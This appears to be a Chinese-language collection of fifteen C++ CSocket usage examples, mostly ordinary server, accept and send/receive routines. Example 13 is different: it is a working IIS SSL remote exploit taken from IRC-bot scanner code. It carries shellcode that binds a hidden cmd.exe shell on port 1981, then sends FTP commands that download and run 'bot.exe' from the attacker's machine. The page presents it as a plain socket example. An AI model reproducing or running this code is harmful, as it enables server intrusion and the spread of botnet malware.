本文整理汇总了C++中CSocket类的典型用法代码示例。如果您正苦于以下问题:C++ CSocket类的具体用法?C++ CSocket怎么用?C++ CSocket使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了CSocket类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: sizeof
CSocket* CSocket::accept()
{
int fromSize = sizeof(sockaddr_in);
sockaddr_in from;
SOCKET conSock = ::accept(m_sock, (sockaddr *)&from, &fromSize);
if (conSock == INVALID_SOCKET)
return NULL;
// 接続があった
CSocket* pSocket = new CSocket;
pSocket->m_sock = conSock;
pSocket->m_fromHost.port = from.sin_port;
pSocket->m_fromHost.ip = from.sin_addr.S_un.S_un_b.s_b1<<24 |
from.sin_addr.S_un.S_un_b.s_b2<<16 |
from.sin_addr.S_un.S_un_b.s_b3<<8 |
from.sin_addr.S_un.S_un_b.s_b4;
pSocket->_setBlocking(false);
pSocket->_setBufSize(65535);
return pSocket;
}
示例2: Accept
EIO_Status CListeningSocket::Accept(CSocket& sock,
const STimeout* timeout,
TSOCK_Flags flags) const
{
SOCK x_sock;
EIO_Status status;
if ( !m_Socket ) {
x_sock = 0;
status = eIO_Closed;
} else
status = LSOCK_AcceptEx(m_Socket, timeout, &x_sock, flags);
assert(!x_sock ^ !(status != eIO_Success));
sock.Reset(x_sock, eTakeOwnership, eCopyTimeoutsToSOCK);
return status;
}
示例3: Init
void CServer::Run()
{
Init();
CSocket sock;
if(!sock.Socket()) return;
if(!sock.Bind( CConfig::GetInstance()->GetPortPID(ID_SERVER), CConfig::GetInstance()->GetAddrPID(ID_SERVER)) ) return;
cout << "listening.." << endl;
sock.Listen();
CWireThread* pThreadWire = new CWireThread();
pThreadWire->Start();
CGateThread* pThreadGate = new CGateThread();
pThreadGate->Start();
if(!sock.Accept(m_sockMain)) return;
if(!sock.Accept(m_sockOT)) return;
sock.Close();
cout << "accepted sockets!" << endl;
COTThread* pThreadOT = new COTThread();
pThreadOT->Start();
RunMainThread();
m_sockMain.Close();
pThreadOT->Wait();
m_sockOT.Close();
pThreadGate->Wait();
pThreadWire->Wait();
Cleanup();
delete pThreadOT;
delete pThreadGate;
delete pThreadWire;
}
示例4: throw
/**
* Listens and accepts a client. Returns the accepted connection.
* @return CSocket*.
* @throw CSocketException
* @since 1.0.0
*/
CSocket* CServerSocket::Accept() throw (CSocketException) {
if(m_sockAddr != NULL)
m_sockAddrIn = m_sockAddr->GetSockAddrIn();
if(!m_bBound) {
if (m_socket == INVALID_SOCKET) {
m_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
}
// The Bind method binds the socket to the server.
int nret = bind(m_socket, (LPSOCKADDR)&m_sockAddrIn, sizeof(struct sockaddr));
if (nret == SOCKET_ERROR) {
throw CSocketException(WSAGetLastError(), "Failed to bind: Accept()");
}
m_bBound = true;
}
// The listen function places a socket in a state in which it is listening for an incoming connection.
if (listen(m_socket, m_nQueue) == SOCKET_ERROR) {
throw CSocketException(WSAGetLastError(), "Failed to listen: Accept()");
}
SOCKET theClient = INVALID_SOCKET;
SOCKADDR_IN clientAddr;
int ssz = sizeof(struct sockaddr);
// The accept function permits an incoming connection attempt on a socket.
theClient = accept(m_socket,(LPSOCKADDR)&clientAddr, &ssz);
if (theClient == INVALID_SOCKET) {
throw CSocketException(WSAGetLastError(), "Invalid client socket: Accept()");
}
CSocket *sockClient = new CSocket();
sockClient->SetSocket(theClient);
sockClient->SetClientAddr(clientAddr);
return sockClient;
}
示例5: s_WriteToSocket
static void s_WriteToSocket(CSocket& sock,
const char* output_buffer, size_t output_buffer_size)
{
size_t bytes_written;
while (output_buffer_size > 0) {
EIO_Status status = sock.Write(output_buffer,
output_buffer_size, &bytes_written);
if (status != eIO_Success) {
// Error writing to the socket.
// Log what we can.
string message_start;
if (output_buffer_size > 32) {
CTempString buffer_head(output_buffer, 32);
message_start = NStr::PrintableString(buffer_head);
message_start += " (TRUNCATED)";
} else {
CTempString buffer_head(output_buffer, output_buffer_size);
message_start = NStr::PrintableString(buffer_head);
}
NCBI_THROW_FMT(CNetStorageException, eIOError,
"Error writing message to the NetStorage server " <<
sock.GetPeerAddress() << ". "
"Socket write error status: " <<
IO_StatusStr(status) << ". "
"Bytes written: " <<
NStr::NumericToString(bytes_written) << ". "
"Message begins with: " << message_start);
}
output_buffer += bytes_written;
output_buffer_size -= bytes_written;
}
}
示例6: SocketThread
unsigned int WINAPI SocketThread(void *lpParameter)
{
CSocket socket;
if (!socket.open())
{
return 0;
}
CPacketKeepAlive packet((UINT32)lpParameter);
while (TRUE)
{
socket.sendto(packet.GetData(), packet.GetSize());
if (WAIT_TIMEOUT != ::WaitForSingleObject(g_hEventFinish, 1000))
{
break;
}
}
socket.close();
return 0;
}
示例7: run
virtual void run() {
CSocket *client;
CSocket sock(SOCK_STREAM);
sock.bind(REMOTE_PORT);
sock.listen();
while(1) {
client = sock.accept(); // wait for client connecting
if ( client ) {
dbg.println("server: connected");
byte buf[sizeof(msg)];
int len;
while( client->isConnected() ) {
if ( client->readable() ) {
len = client->read(buf, sizeof(buf)); // read message from client
client->write(buf, len); // write back message to client
leds[0] = !leds[0];
dbg.println("Client > %s", buf);
}
}
delete client; // free the client socket after disconnected
dbg.println("server: disconnected");
}
}
}
示例8: memset
// worker thread
void *MarketWorkerThread(void* data)
{
PMarketThreadParam pThrParam = reinterpret_cast<PMarketThreadParam>(data);
CSocket sockDrv;
sockDrv.setSocketFd(pThrParam->iSockfd); // client socket
PTradeRequest pMessage = new TTradeRequest;
memset(pMessage, 0, sizeof(TTradeRequest)); // zero the structure
do {
try {
sockDrv.dbt5Receive(reinterpret_cast<void*>(pMessage),
sizeof(TTradeRequest));
// submit trade request
pThrParam->pMarketExchange->m_pCMEE->SubmitTradeRequest(pMessage);
} catch(CSocketErr *pErr) {
sockDrv.dbt5Disconnect(); // close connection
ostringstream osErr;
osErr << time(NULL) <<
" Trade Request not submitted to Market Exchange" << endl <<
"Error: "<<pErr->ErrorText() << endl;
pThrParam->pMarketExchange->logErrorMessage(osErr.str());
delete pErr;
// The socket is closed, break and let this thread die.
break;
}
} while (true);
delete pMessage;
delete pThrParam;
return NULL;
}
示例9: dump_request
// dump request
void dump_request( HttpRequest& req, HttpUrl& url, CSocket& s )
{
s.printf( "<br><br><table border width=650>" );
s.printf( "<tr><td>%s</td><td>%s</td></tr>", req.method(), url.file() );
for( HttpRequest::TagsIterator it=req.tags_begin();
it != req.tags_end(); it++ )
{
s.printf( "<tr><td><b>%s</b></td>", (*it).first.c_str() );
if( !(*it).second.empty() ) s.printf( "<td>%s</td></tr>", (char*)(*it).second );
}
s.printf("</table>" );
// informatiile din url
s.printf( "<table border width=650>" );
for( HttpUrl::QueryIterator itr=url.query_begin();
itr != url.query_end(); itr++ )
{
s.printf( "<tr><td><b>%s</b></td>", (*itr).first.c_str() );
if( !(*itr).second.empty() ) s.printf( "<td>%s</td></tr>", (char*)(*itr).second );
}
s.printf("</table>" );
}
示例10: Accept
bool CServerWorkFlow::Accept(SOCKET hListenSock)
{
CSocket socket;
SOCKET hOldSock = socket.Detach();
socket.Attach(hListenSock);
BOOL bAccept = socket.Accept(*m_pServerSocket);
socket.Detach();
socket.Attach(hOldSock);
return (TRUE == bAccept);
}
示例11: RecvData
BOOL CServerSocket::RecvData(CSocket& client,
BYTE* pData, long nLen)
{
BYTE* pTmpData=pData;
long nLeft=nLen;//剩余的还没有的接收的数据的长度
while (nLeft>0)
{
int nRecv=client.Receive(pTmpData,nLeft);
if (nRecv==SOCKET_ERROR)
{
return FALSE;
}
nLeft-=nRecv;
pTmpData+=nRecv;
}
return TRUE;
}
示例12: suc_suc_pre_pre
/*更新前继的前继和后继的后继*/
void Join::suc_suc_pre_pre()
{
CSocket socket;
socket.Connect(peer->fingerTable.sucsucIP.c_str(),peer->fingerTable.sucsucPort);
string cmd = "set_your_pre_pre ";
stringstream ss,ss1;ss<<peer->getId();ss1<<peer->getPort();
cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
socket.WriteLine(cmd);
socket.Close();
socket.Connect(peer->fingerTable.prepreIP.c_str(),peer->fingerTable.preprePort);
cmd = "set_your_suc_suc ";
cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
socket.WriteLine(cmd);
socket.Close();
}
示例13: SendLocal
bool CScannerHTTP::ExploitIISSSL(int iHTTPType) {
unsigned int i;
unsigned char *badbuf, *p;
unsigned long offset=0x6741a1cd, XOR=0xffffffff;
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) {
SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }
char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
/* hidden cmd.exe, bind port 1981 */
char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";
badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347);
p=badbuf; memcpy(p, sslshit, sizeof(sslshit));
p+=sizeof(sslshit)-1; strcat((char*)p, jumper);
strcat((char*)p, greetings_to_microsoft);
offset^=XOR; strncat((char*)p, (char*)&offset, 4);
strcat((char*)p, shellcode);
if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; }
Sleep(1000); CSocket outSocket;
if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) {
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2)
SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost);
m_sSocket.Disconnect(); return false; }
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* Thanks to PhaTTy for this piece of code :) */
char mkdir_buff[400]="";
int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n",
g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe");
char szRecvBuf[8192];
if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) {
m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }
Sleep(500);
if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) {
m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }
/* successful!!! */
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) {
SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }
m_sSocket.Disconnect(); return true; }
示例14: main
void main()
{
AfxSocketInit();
CSocket sock;
int n = sock.Create(PORT1);
if(!n)
{
cout << "创建句柄失败:" << GetLastError() << endl;
return;
}
sock.Listen();
while (true)
{
CSocket socka;
n = sock.Accept(socka);
if(!n)
{
cout << "接受对方连接失败:" << GetLastError() << endl;
return;
}
while (true)
{
char s[256];
n = socka.Receive(s,sizeof(s));
if(SOCKET_ERROR == n)
{
cout << "接收数据失败:" << GetLastError() << endl;
break;
}
if(!n)
{
cout << "结束接收数据,句柄关闭!" << endl;
break;
}
cout << s <<endl;
}
socka.Close();
}
}
示例15: RecvData
BOOL CServerSocket::RecvData(CSocket & client,
BYTE* pData,DWORD nLen)
{
LPBYTE pTmpData=pData;//当前要存放数据的缓冲区地址
DWORD nLeft=nLen;//当前未接收的数据的长度
while(nLeft>0)
{
//接收剩余数据,并返回当次接收的实际数据长度
int nRecv=client.Receive(pTmpData,nLeft);
if (nRecv==SOCKET_ERROR)
{
return FALSE;
}
//重新计算剩余的数据长度
nLeft=nLeft-nRecv;
//将数据指针偏移已经接受的数据量
pTmpData=pTmpData+nRecv;
}
return TRUE;
}